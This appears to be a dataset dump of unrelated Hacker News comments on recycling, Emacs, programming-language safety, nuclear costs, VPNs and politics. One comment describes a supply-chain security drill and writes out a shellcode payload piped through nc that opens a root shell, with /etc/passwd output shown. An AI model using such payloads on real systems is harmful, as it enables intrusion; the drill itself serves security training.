skysight-inc/HackerNews huggingface dataset:
Or in other words, even with only 5 million people’s plastic in a rich liberal western democracy, you still can’t manage to recycle the vast majority of your plastic.

That 70% needs to go somewhere, and a landfill is the best place for it. Not an incinerator, a low income country, or the bottom of the ocean.
Security must be big selling point versus these other solutions?
I wrote an article about it a few days ago: https://dsebastien.net/blog/2022-04-29-johnny-decimal
https://github.com/emacs-mirror/emacs/commit/5afe27624f7

This is the patch that added the feature you wanted to dired. 30 lines of diff, 20 of which is documentation.

Calling a piece of exceptional software an "abomination" because of one specific behavior that you find annoying is the wrong attitude to have, especially for an emacs user.

It is emacs. You can make it do whatever you want within a few lines of lisp.
You mean, in the application maintained by the organization which devised Rust and is its main proponent? Someone I am not very impressed.
Of the SaaS services my own SaaS service depends on, Postmark has given me the least (zero) problems, and I'm genuinely concerned about what will happen now.

Their deliverability has always been absolutely stellar.
I can’t discuss anything real with industry coworkers in a supposed blue job center. Anything slightly pro-person or pro-safety is received like radical leftism.
Indeed. I'm not sure it's harming them to a minor extent. Getting picked on harms people to a large extent (especially kids).

There's two options:

1) You did something really dumb, and now you're internet-famous for having done something really dumb. I care about this even if it was something genuinely bad. I'd like that to be handled with a justice system and not a mob justice system.

2) You do something a lot of people find obnoxious. You're really into some obscure sci-fi show, obsessively like Bulgarian folk music, only wear purple clothing, want Hello Kitty on all of your merchandise, or hold some non-mainstream political view. No one is going to individually ruin your life over it, but collectively, everyone shames you a little bit. That can be super-damaging too.

I think we should be tolerant of most things that don't harm other people (the same goes geopolitically; if a foreign culture has different views on government / gender / religion / etc., we don't need to fix them). I don't think we should be tolerant of bullying (e.g. another country invading their neighbor).

There's also a big difference between condemning people and things. My comment was that I hate a page and forum. I can do that without hate or condemning the person who made the page or the users of those forums. A person isn't defined by one dumb action. The linked page goes out of their to be mean to individuals who buy dice like those, or design them. I would have no problem with a product review page which said "These are bad dice." Dice (and web pages) aren't sentient beings.
Most strings in examples are statically allocated and don't need freeing.

There is an example with freeing of strings in the introduction. Search for strings::freeall.
> Every law has a worldview and moral standards it assumes a priori.

actually, no, law (legality) is specifically _NOT_ about morality, if it was then jaywalking would be a moral offense, which it clearly is not
Apple employees criticize work-from-home policy in open letter
There is the Accept header which isn't perfect but would be a better thing to abuse.

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Ac...
I feel sleepy cause it so calm after I take it.
Can I run a Tor node or dark web website behind Mullvad?
Every few years, I take a look at bunch of monitors to see if there is something better out there, but I always return to Benq's panels as I've never found something better. I think they are a bit on the more expensive side, but taking into account I spend a lot of time looking at the screen, it should be a good one.

With that said, I've never used any of the "high-refresh rate" ones and also I'm not really sure what is considered a "high-refresh rate" one (above 60?), but here are some I found:

- https://www.benq.com/en-us/monitor/gaming/ex3210u.html

- https://www.benq.com/en-us/monitor/gaming/ex2780q.html

- https://www.benq.com/en-us/monitor/gaming/ex3415r.html

They are labeled "gaming" monitors, but I think that's just because of the high refresh-rate. Not sure if there is any other difference but some features (like AMD FreeSync), why they avoidance of monitors labeled "gaming" specifically, if I may ask?

Personally I use the Benq Designer panels, because the color is more important for me than the refresh-rate, but those don't seem to be available with high refresh-rate.
Nothing about nukes can be expected to get cheaper, unlike solar and wind. Nukes are just inherently expensive, from refining fuel through massive construction, disaster insurance (always and everywhere subsidized), maintenance, to decommissioning.
Might be a little late for that bro
This is a welcome bit of perspective, so thank you for that.

I often find myself complaining about things at work like competing priorities or wearing too many hats and it helps me to ground myself by thinking about past jobs at minimum wage or even watching what people making less than a fifth of my salary have to put up with on a daily basis.
You might enjoy the Mobile Atlas tiles from Thunderforest [0].

I think the low contrast on Google Maps is uniquely ridiculous. You don't have to go all the way to OSM / road atlas. I think Mapbox Streets, Apple Maps (somewhat) and Gaia Topo Lite (my go to) are all perfectly fine maps with roughly the same "feel".

Google Maps contrast is so ridiculous that I have a private app called "Kontrast Maps" that is just the Maps SDK with a high contrast style applied. Me and a friend with a visually impairment get a ton of use out of that. I would love to publish it if it weren't for the insane pricing on Maps iOS SDK.

I'm also disappointed enabling "High Contrast" in Apple operating systems doesn't apply a high contrast maps style. Seems like a super obvious accessibility feature.

[0] https://www.thunderforest.com/maps/mobile-atlas/
Here's what I found:

The global production of nitrogen fertilizer amounted to some 117.5 million
metric tons in 2018. China was by far the country with the largest
production, with an output of 28.9 million metric tons of nutrient. It was
followed by the United States and India, with 13.6 and 13.3 million
metric tons produced, respectively.

According to IBISWorld the fertilizer business in the US gets $19.3B in revenue a year, explosives are just $2.3B. I can't imagine that any of the top three countries (China, US and India) have diverted fertilizer production to explosives yet.

I think so far both Russia and Ukraine have been fighting based on stocks that are already manufactured. For instance Russia has about 2,000 S-300 missile launchers and they probably have at least 10x that number of missiles. (Part of the untold story of the cold war is that the Soviets were driven crazy by the threat of the U-2, SR-71, B-52, B-1, B-2, ... and said "no way" and spent more money than they had on air defense.)

Similarly they have been working through large stocks of artillery shells, rockets, etc.
Regarding the d34:

3d34-2 is N(1,100)

Esoteric systems that wanted normal distributions could use that for statistics.
Thank you, Mullvad team! This is quite literally the only feature I've been wanting. Everything else works well. Bandwidth? Excellent. Apps? Excellent. WireGuard? Excellent. No form of KYC required, period? Excellent. Payment options? Excellent.

I hope I don't live to see you turn into every other shady VPN service.
One of the intermediary representation used by the OCaml compiler is a lambda calculus (https://github.com/ocaml/ocaml/blob/trunk/lambda/lambda.mli#...). But yes, this is only the OCaml compiler.
I question the practice of building solutions around people and ceasing to train people why they are there. You aren't empowering people at that point. You're creating a centralized control mechanism the information asymmetry.

If people don't come out of a system interaction smarter than they went in, you're not doing it right. You're writing checks their continued ignorance will increasingly extort hogher costs from, and which will culminate in the formation of a lever of control in the form of manufacturers making decisions for people, usurping ultimate end agency.

I just don't buy that that's how the world should work. You can't build a better world without building better, more knowledgable people. We engineers spend too long making machines that do things for people without making clear why they exist and how they work.

I'm done with the "for their own good" BS.
> incentive for browser to lie about capabilities

Such as?
>> Why openly disclose your sexual preference/orientation so eagerly on hacker news comments, then?

Really? I shouldn't have to explain this, but that it's my choice makes all the difference?

Furthermore, if you'd read my comment - it said that I myself am not concerned with disclosing my orientation/gender online - but I am deathly concerned for my fellow queer folk for whom that is not the case.
It's also true that sometimes great products just fail for whatever reason.

Just like Apple and Tesla sometimes have products that just fail to become big.
Disclaimer: I know brain != deep learning neural nets. We do have a lot of evidence that the brain is _some_ type of network with analogue qualities.

Does it even make sense to say that a memory is stored somewhere in a specific region, if the brain is an analogue network? A property of analogue networks is that all nodes make a contribution, even if many of the contributions are infinitesimally small. The equivalent for deep learning is that information is stored in the weights and any given output is a function of all the weights. Some weights are more important than others in producing the output, but the point still stands.
RDF comes with this whole set of W3C standards, and standardization seems to be a big point in favor if you need to care about interoperability.

In terms of data model, RDF may be a bit too web centric to be approachable. Linked Data does not seem much better.

This may not be a fully informed view, but so far I think: While the whole area of (broadly) logic-based representations (including datalog, eg. Souffle, datomic, ...) seems to have a bit of a renaissance, all the semantic web stuff seems a bit more like baggage.

In other words: if I wanted to build a private knowledge base, I don't want to pick or publish URIs and the fact that all the documentation pushes me towards open/sharing is just getting in the way.

In contrast to that, relational databases tech has affected programming languages and frameworks over the decades and goes way beyond triple/quads (e.g. LINQ, or relational mappings). This seems to be a big missed change in a way since, some of the "typing" would in principle be a lot closer to class-based OOP then all the relational stuff.
You could say it is a Cambrian explosion of non-JS langs, if you will.
Excuse me, we're looking at a total abortion ban in half the country soon if this decision is to be the law of the land. This idea that it might be limited to a 3.5 month restriction is an old talking point that has been obviated by the news from the Supreme Court. If what was released last night comes to fruition, abortion bans predating Roe and trigger laws passed in the interim will bring full abortion bans into effect immediately. Currently candidates for State AG are campaigning on the promise they will enforce the ban in cases of rape, incest, and life-threatening health conditions caused by the fetus.

How would it make you feel if your wife, daughter, or mother had to die because the government would not let a doctor perform a life-saving operation on them, on the basis that they had a moral objection to it?
You can make gas with electricity [0], it does not have to come from the ground. Here in the states nuclear is now about 3x as expensive as wind/solar [1]!

And to make matters even worse, you generally want to run nuclear at 100% all the time because of the high initial costs but summer peaks can be twice winter lows which means you would need to have a ton capacity that hardly ever gets used whereas gas is by far the cheapest option for handling variable demand.

[0]: https://en.wikipedia.org/wiki/Power-to-gas

[1]: https://en.wikipedia.org/wiki/Cost_of_electricity_by_source#...
> Java, or Haskell, or Python

These are all GC'd languages that run bytecode on an abstract virtual machine. They avoid use-after-free by just not-freeing, if necessary at the cost of leaking unbounded amounts of memory.

This doesn't invalidate the point that borrowing isn't the only way to solve this problem, but there are definitely classes of these bugs for which Rust's borrow checker is the only known production-ready solution that still has manual, deterministic memory management.
It looks like it changed pretty dramatically since you posted (it's now at a 24% chance of occurring before the end of the year). This site [0] uses actual money, and more closely lines up with what I expect (although still more pessimistic than I am).

[0] https://polymarket.com/market-group/ethereum-merge-pos
How do they expect to gain traction if they refuse to support 2 of the three platforms software is developed for?
Fan culture in the age of twitter is so polluted with loud minorities.
Certain people especially didn’t want to sacrifice when they became convinced the virus killed mostly POC, people with disabilities and older people.
What’s wrong with Intuit? Do they have some bad reputation
> work you have to do to setup and actually understand your development tool chain in C as well as C++

Open visual studio (or Qt) 'File' menu, 'New C/C++ project'. Press F7 to compile.

No command line, no cargo build, no cargo run, no cargo.toml. Just press the green "play" button and your full graphic application shows up.

Embedded with Arduino C++: 'file' menu, then 'new sketch', click the arrow to compile and download to the board.
You can literally send them an envelope of cash anonymously, how is this any different?
I love Postmark and their service. I hope this doesn't change that.
that situation should not exist. if the father wants a child that the mother does not then it was rape and the father should not get the child either.
> it expects source code in `src` like most C/C++ projects anyway

In C/C++ there's no expectation of the code being anywhere.

> Because it's the [VCS] used by most projects.

I don't see how a VCS being popular is a reason to require it. It's not even "essentially all projects", just "most projects".
Fine, but 99% of the time the user does want the locally compatible version, and this is especially true for naive users who don't understand the differences and need more help to make a good choice. So they benefit from a well-chosen prominent default.
I've negotiated down to 4 days (1st time 34 hrs/wk, 2cnd time 37.5 'cos they wouldn't allow reduced hours, 3rd time 32 hours) at 3 UK employers. This was at interview time. It seems to me you're in a strong position both at interview when they need to fill a position, and once you've been there a while and shown you can deliver. BTW the 2cnd time, when I still had to do the same hours, was not fun cos the days ended up being long and tiring, although younger people with less caring responsibilities mgight not find this too bad.
I interpret the grift a little differently.

A lot of the messaging — paid for by the fossil fuels industry — is "we're all in this together." Image of countless families sorting their plastic bottles or whatever.

Don't look around the corner at industry generating a magnitude larger amount of waste. Are you doing your part?

They used messaging to make their problem our problem.
> It seems like that would help adoption as well.

How do you mean? Where?
Yes as you can see it doesn't look at all like the same thing and yet it use OpenStreetMap svg renderer, which is very clever
Yes exactly.

- Use your index finger for the track point

- Thumb for the 3 buttons under the space bar

- Middle button is to enable scroll mode

You don't need to disable the track pad.

I did though and it can also help to force you to learn the track point.

------

The ThinkPad TrackPoint

https://www.youtube.com/watch?v=7H8o_-7bKIU
USB Type-C 2.1 Cables Start to Become Available for 240W Power Delivery
I mean statistics also show that it's a rather not common thing, and it'd be quite difficult to hide your house or apartment being on fire.
The alternative is shipping a packet of sketchy JS, which is much more bandwidth.
> I am even more frustrated with the moral crusaders from languages like Rust, one of whom went as far as to suggest that I should personally be criminally prosecuted if some downstream Hare software has a use-after-free bug. My goal is not to force anyone who doesn’t like Hare to use it, or issue judgements upon projects which choose another language. In return, I will be pleased if members of other language communities refrain from flaming too much on Hare.

This might be referring to comments elsewhere, but I thought there was a pretty thought-provoking debate about safety tradeoffs in the Hare intro thread.[1]

Which I'd summarize as: let's say we now know how to prevent, say, 70 out of 100 security bugs in C codebases, without performance compromise, by statically ruling out things like buffer overflows and use-after-free; and we also have good evidence that bugs your language ecosystem is bad at detecting are hard to backport detection for. Is it a good idea to make a language that prevents _most_ of those 70 mistakes, but not all that we know how to prevent, in exchange for being simpler, and therefore reducing the other 30 mistakes and getting more software done that helps people? Or would it be better to avoid investing in or relying on new languages with that tradeoff for infrastructure code, and focus on seeing how simple a language can be that prevent all 70?

Which isn't a logic question, but an engineering question: does the mostly-safe language prevent 65 out of 70 memory bugs, or 30 out of 70? Does it let you get twice as much done as the safer language, or 10% more done? Does it result in fewer logic bugs than the more complex language, or the same number?

I don't know, but I'm interested, because I want the next billion lines of code that affect me to do useful stuff and not break. "My goal is not to force anyone who doesn’t like Hare to use it" isn't really an option; I'll be impacted by all the code people write in every language. So: I'm happy to see people make new things that test a new point in the design space! But I'm _also_ happy to see other people say, wait, before I end up with a ton of this code tucked into the lower levels of my machine and the other hundred billion machines wired up to it, what mix of features would convince me that "less safe than we know how to make new languages" is still safe enough for a new language in this case?

[1] https://news.ycombinator.com/item?id=31151937
To attach some further cynicism to this comment:

The going rate to buy a "respectable" politician appears to be donations in the $10k to $1 million range. Buying an economist is going to be much cheaper than that.

Anyone with a bit of money behind them can pay for any sort of economics they like. Note that many famous economists are vulnerable to financial or political influence.

It is not a safe field for uncovering facts about reality without being a confidently independent thinker and researcher.
> I think if you want to compete with Rust, C or Zig you want to have a rich standard library. I still hold that Go's success is attributed to the fact that you could build a web application out of the box, minus database drivers. The templating and web server is purely built in to Go itself.

Rust doesn't seem to have that rich of a standard library, bunch of the official documentation asks you to add crates for lots of things. I find myself reaching for external crates for tons of things I'd expect to be in the language as well.

I also don't think Go's success can be attributed to one single thing, but probably the biggest attribute would be that they are backed by one of the biggest tech company in the world, who have adopted it wholesale and would do so, no matter what, since they built and control it.
It makes sense when you see the “brag” that he’s written thousands of articles. His think tank os literally called the Brownstone institute. Real Bannon vibes
I find this quite sad and humorous at the same time. Personally, I'm one that loves looking at maps to familiarize myself with street names in an area of interest rather than the specific route the great Map gods of the cloud have decided for me. I tend to not rely on turn by turn navigation, and actually find it quite annoying with its incessant "in 500ft", "in 400ft", "in 300ft" kind of nagging. Being around people that are absolutely dependant on turn-by-turn directions make gives me a laugh though. On a cross country trip where you're on the same major high going West for >1000m doesn't need turn by turn, yet I've been on a trip with someone that had a damn near panic attack because I started driving without the navigation running. Sad they were that stressed about it, but still damn funny
History has shown, over and over again, that all these sorts of pledges are utterly worthless.
If anyone looking for an open source alternative, check out listmonk, it’s pretty slick!

https://listmonk.app/
Well, if you're going to account for all externalities, that sounds like a good idea, but I don't think nuclear would fare well under such a model.

Fukushima cost around $200 billion to clean up. I don't think that got factored into the cost of the power it sold.

Now I guess the answer here is insurance, but any insurance company that signs up for a potential payout of $200 billion is going to charge quite the premium, which won't make the already expensive nuclear power any more attractive.

And how do you even calculate the premium here? It's not a house or a vehicle with an easy to determine cost. We're talking about evacuating an area of unknown size for however long might be necessary.
> How much do you bet ActiveCampaign is going to add some email editor and campaign management feature to Postmark ?

Seems unlikely given AC is already incredibly cheap and a simple email sender won't be sophisticated enough to convince marketing teams to move over from a full featured ESP to something simpler.
Supply chain attacks are fun.

Here's an old security drill I ran at my previous job: https://github.com/mkmik/echo-server

Follow the instructions on the README to build and run the docker container and then send a magic payload to the port and you'll get a root shell:

$ (echo -e "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"; cat) | nc localhost 1234
# head /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Now stare back at the https://github.com/mkmik/echo-server and try to figure out what's going on (no, it's not a buffer overflow, that's just a misdirection, and a quite effective one btw, so in order to not waste your time, I'm going to reveal that this is a supply chain attack)
Thanks for linking! I should have been more specific.
The terms right and wrong conflate facts with opinions. Facts are either right or wrong. The sky is blue. Opinions are subjective. Abortion is wrong. The former can be debated easily by simply looking at the evidence. The latter requires at least some common ground to begin with. Without that, there will never be an agreement.
They've been requiring zero identification from the beginning. That's been their business model. They don't know if you're a criminal, or a law-abiding citizen. And they intended it that way. That's how it should be.